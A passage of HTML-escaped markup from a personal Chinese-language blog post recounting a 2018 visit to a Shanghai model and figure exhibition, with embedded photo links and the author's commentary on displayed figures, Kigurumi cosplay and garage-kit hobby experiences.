        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_150636-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;末匠（末那）的展区很大，很空。一看就是高端品牌。&lt;&#x2F;p&gt;
&lt;p&gt;我和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后来去过末匠在北京办的大畠雅人展——理所当然的，我很喜欢他那个&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.sum-art.jp&#x2F;items&#x2F;17668447&quot;&gt;打游戏的少女&lt;&#x2F;a&gt;。只是上海那次并没见到。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_151147-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_151147-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_150902-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_150902-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_150952-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_150952-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_151124-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_151124-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_151108-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_151108-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我记得末匠旁边有个很二次元的展区。S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在那里买了一尊很大的蕾姆像——我想到他的大空箱子，原来是有备而来。不知为何，照片里没有那个展区和他买的蕾姆。&lt;&#x2F;p&gt;
&lt;p&gt;随后我们进入了第二个场馆。这里的展区比第一个要小很多，看起来像是一些钱不多的企业，和很多模型爱好者自己的摊位。我们在一个汉语说的不太好的小哥那里每人买了一只可以搁笔的小螃蟹。同样不知为何，OneDrive&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里没有螃蟹的照片。我记得它就在我的书桌上——可能是太常见，所以没拍？&lt;&#x2F;p&gt;
&lt;p&gt;我很喜欢鲸鱼，不知道大家知不知道这点。如果各位有出海时拍到的鲸鱼视频（不管是抹香鲸大翅鲸虎鲸独角鲸&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，请发给我，谢谢（水族馆的就不要了&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_151422-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_151422-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns c256-81&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_151426-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_151426-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_151437-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_151437-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_153333-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_153333-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;第二场馆内还有间小屋子，好像叫“Wonder
Showcase&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。可能是主办方挑选的一些精品模型？&lt;&#x2F;p&gt;
&lt;p&gt;不清楚是我都很喜欢，还是我只照了我喜欢的。总之下面是我照的全部模型。&lt;&#x2F;p&gt;
&lt;p&gt;对了，我记得有个朋友很奇怪为什么在我的博客里点图片不会放大。因为没必要：手机的话，两根手指接触屏幕做撑开的手势即可；计算机的话，按住&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ctrl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;向上拨滚轮，或同时按住&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ctrl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和加号即可放大。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_151954-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_151954-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_152039-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_152039-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_152124-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_152124-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c81-256&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_151837-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_151837-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_151904-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_151904-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_152155-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_152155-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_152236-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_152236-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_152305-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_152305-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;在以上模型中，我尤其喜欢那两架似乎由页岩构成的机器人。这种横线一般出现在漫画里速度很快的场景中，所以它们俩虽然只是摆在柜子里，但给我一种极速飞驰的感觉。另外，那些横线也有些像云，让它们看起来仿佛是云雾构成的巨人。&lt;&#x2F;p&gt;
&lt;p&gt;我很喜欢云。&lt;&#x2F;p&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;售完你就别摆出来啊——其实我也不会买，但它一写售完我就着急。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_153312-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_153312-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;这个可动猫看起来有些可怕。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_153350-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_153350-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;不清楚这是什么怪兽，总之挺滑稽的。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_153510-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_153510-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_153535-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_153535-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_153556-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_153556-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;奇怪的幻想物种。别说，还真挺酷。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_153659-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_153659-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_153706-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_153706-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_153721-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_153721-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;两个布料很少的动漫女孩。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_153915-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_153915-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_153910-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_153910-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;接下来的每个展位都很小，所以很难把同类图片集中起来。因此我统一每行放三张，一起说。&lt;&#x2F;p&gt;
&lt;p&gt;左图看起来像略微拟人的鳐鱼。&lt;&#x2F;p&gt;
&lt;p&gt;中间的貌似还是大畠雅人的作品，为什么会摆在这个区呢？我推测是爱好者自己涂的色。&lt;&#x2F;p&gt;
&lt;p&gt;右图当然是&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;riding-the-iron-rooster&#x2F;#%E6%AF%9B%E4%B8%BB%E5%B8%AD&quot;&gt;毛主席&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_154353-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_154353-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_154401-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_154401-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_154810-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_154810-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;左图貌似是个很有名的恶魔人老玩具，趁着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;18&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年版的热度又被摆上来了。&lt;&#x2F;p&gt;
&lt;p&gt;中间是《Tell Your
World》版的初音未来。简单来说，初音是语音合成软件里的虚拟角色。爱好者用她唱歌、给她做&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MV、设计形象……因此也有厂商做她的玩具。这个模型的装束就出自&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;musicbrainz.org&#x2F;release-group&#x2F;d0fd8dfa-a9ce-4016-a3fc-2c4117bf8e30&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Tell
Your World
EP》这张专辑的封面&lt;&#x2F;a&gt;。我高中时，这个模型（和初音躺在画框中、初音坐在海底这俩模型）是初音吸引我的主要原因。但是直到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2021&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年，我都无法忍受初音那充满电子音的气虚人声。所以，18&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年也只是抱着好看的心态拍摄的，我并不是初音的粉丝（现在最多算个路人粉&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;右图的小乌贼也是，因为好看而拍摄。那时我还不是《死喷乱涂》的粉丝，谁承想去年九月买了第三代，到今天已经玩了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;265&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时以上（比《大乱斗特别版》和《荒野之息》加起来都多&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_154907-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_154907-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_160439-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_160439-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_160522-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_160522-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;左图不知是出自哪里的猫耳少女；中间是大圣打爆哪个神仙，动感十足；右边是代表死亡的两个意象结合在一起，我记得我在之前见过类似的标志。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_161150-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_161150-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_161320-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_161320-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_161408-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_161408-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;左边是穿着水手服的学生参观报废的扎古头。生还者参观大战留下的痕迹容易让人感到生活的美好，但更美好的是从来不曾有过战斗——当然，这是我的观点。我知道有些人认为战斗能解决问题的远比和平发展要多，我也能猜到他们会如何批评我的观点。&lt;&#x2F;p&gt;
&lt;p&gt;中间是我第一次在现实里见到&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;news.culr.edu.cn&#x2F;whcbxy&#x2F;xsgz&#x2F;xsmj&#x2F;xzxjxsbz&#x2F;c0b77b62daab4dfbb7aa67577acfa670.htm&quot;&gt;穿&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kigurumi（简称&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kig）的人&lt;&#x2F;a&gt;。与其他暴露皮肤的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cosplay&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;玩家（coser）不同，他们（kiger）会先穿上一层肤色的紧身衣（好像叫皮&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，再穿角色的衣服，最后套上定制的头壳。结果就是他们比其他&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;coser&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更接近&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cos&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的角色。不过这两年似乎不止流行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cos&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;某个动漫角色，还有人用它打扮成第二个自己。&lt;&#x2F;p&gt;
&lt;p&gt;某种程度上讲，Kig&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的头壳也是模型。所以在模型展能看到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kiger&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也算情理之中。&lt;&#x2F;p&gt;
&lt;p&gt;说起&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kiger，我突然想起一段由日本顶尖艺术学校（武藏野美术大学）毕业生月撇美兔小姐带来的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kig&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;表演：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV1N54y1R7eD&#x2F;&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;【月之美兔】月
之 小
丑》&lt;&#x2F;a&gt;。各位看到这的朋友不妨看点高雅艺术换换脑子。接下来还有三分之一的内容。&lt;&#x2F;p&gt;
&lt;p&gt;右图是同一款模型的两种形态。一般这种叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GK，买回来是白色的零件，要自己钻孔、打桩、黏贴、打磨、喷补土、上色才能变成右边的样子。这一套下来不仅需要时间和金钱，还需要场地（喷漆的气泵很吵，而且喷漆时要求通风环境极佳&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，甚至对天气也有要求（下雨漆干不了，听说还会皱&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;我曾经断断续续考虑了很久要不要买一台功率很小，开几分钟就得停一会散热的“龟泵”入坑喷涂，最后还是没买。18&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年之后拼过一台熊霸（这次买的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;、一台&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RG&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;海盗高达（19&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年年初买的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。然后便再也没拼过任何模型了，主要是眼睛受不了（拼海盗时我甚至买了台桌面式放大镜，还是架不住&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RG&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的件太细了，海盗还是很小的高达&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。倒是有个同学&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;P&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;玩得挺久，他能在衣柜里长蘑菇的成都拿喷罐玩喷漆，真牛。拼完海盗以后我实在不行了，把同时买的盖塔机器人送给了他。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_161545-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_161545-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







